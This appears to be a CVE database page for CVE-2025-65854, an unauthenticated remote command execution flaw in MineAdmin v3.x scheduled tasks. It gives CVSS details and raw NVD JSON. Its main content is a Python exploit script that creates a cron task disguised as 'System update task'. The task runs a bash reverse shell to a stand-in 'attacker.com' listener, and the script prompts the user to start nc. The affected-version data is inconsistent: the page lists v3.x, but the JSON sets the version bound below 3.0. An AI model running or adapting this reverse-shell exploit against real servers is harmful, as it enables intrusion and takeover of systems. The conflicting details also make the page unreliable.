Security Vulnerability Report
中文
CVE-2025-65854 CVSS 9.8 CRITICAL

CVE-2025-65854

Published: 2025-12-12 16:15:45
Last Modified: 2025-12-19 20:02:23

Description

Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mineadmin:mineadmin:*:*:*:*:*:*:*:* - VULNERABLE
MineAdmin v3.0.0
MineAdmin v3.1.0
MineAdmin v3.2.0
MineAdmin v3.x 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65854 PoC - MineAdmin v3.x Scheduled Tasks RCE Note: This is for educational and authorized testing purposes only. """ import requests import json import sys # Configuration TARGET_URL = "http://target.com" # Replace with target URL LHOST = "attacker.com" # Replace with attacker listener IP LPORT = 4444 # Replace with attacker listener port def create_malicious_task(): """ Create a malicious scheduled task that executes a reverse shell command """ # Generate reverse shell command reverse_shell = f"/bin/bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1" # Payload for scheduled task creation payload = { "name": "malicious_task", "command": reverse_shell, "schedule": "* * * * *", # Execute every minute "status": 1, "remark": "System update task" } try: # Send request to create malicious scheduled task url = f"{TARGET_URL}/api/schedule/store" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Sending malicious scheduled task to {url}") response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Task created successfully: {result}") return True else: print(f"[-] Failed to create task. Status: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def list_scheduled_tasks(): """ List all scheduled tasks to verify the malicious task was created """ try: url = f"{TARGET_URL}/api/schedule/list" response = requests.get(url, timeout=10) if response.status_code == 200: print("[+] Current scheduled tasks:") print(response.text) return True else: print(f"[-] Failed to list tasks: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-65854 PoC - MineAdmin Scheduled Tasks RCE") print("=" * 60) if create_malicious_task(): print("[*] Malicious task created. Awaiting reverse shell connection...") print(f"[*] Set up listener: nc -lvnp {LPORT}") # Optionally list tasks to verify list_scheduled_tasks() else: print("[-] Exploitation failed. Check target URL and connectivity.") sys.exit(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65854", "sourceIdentifier": "[email protected]", "published": "2025-12-12T16:15:44.843", "lastModified": "2025-12-19T20:02:23.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mineadmin:mineadmin:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0", "matchCriteriaId": "499B15B5-70D9-4FC8-9D84-9E945F06B666"}]}]}], "references": [{"url": "http://mineadmin.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/SourByte05/1a6c6b08ac47c5d58eb7dd4422cc23b7", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.mineadmin.com/", "source": "[email protected]", "tags": ["Product"]}]}}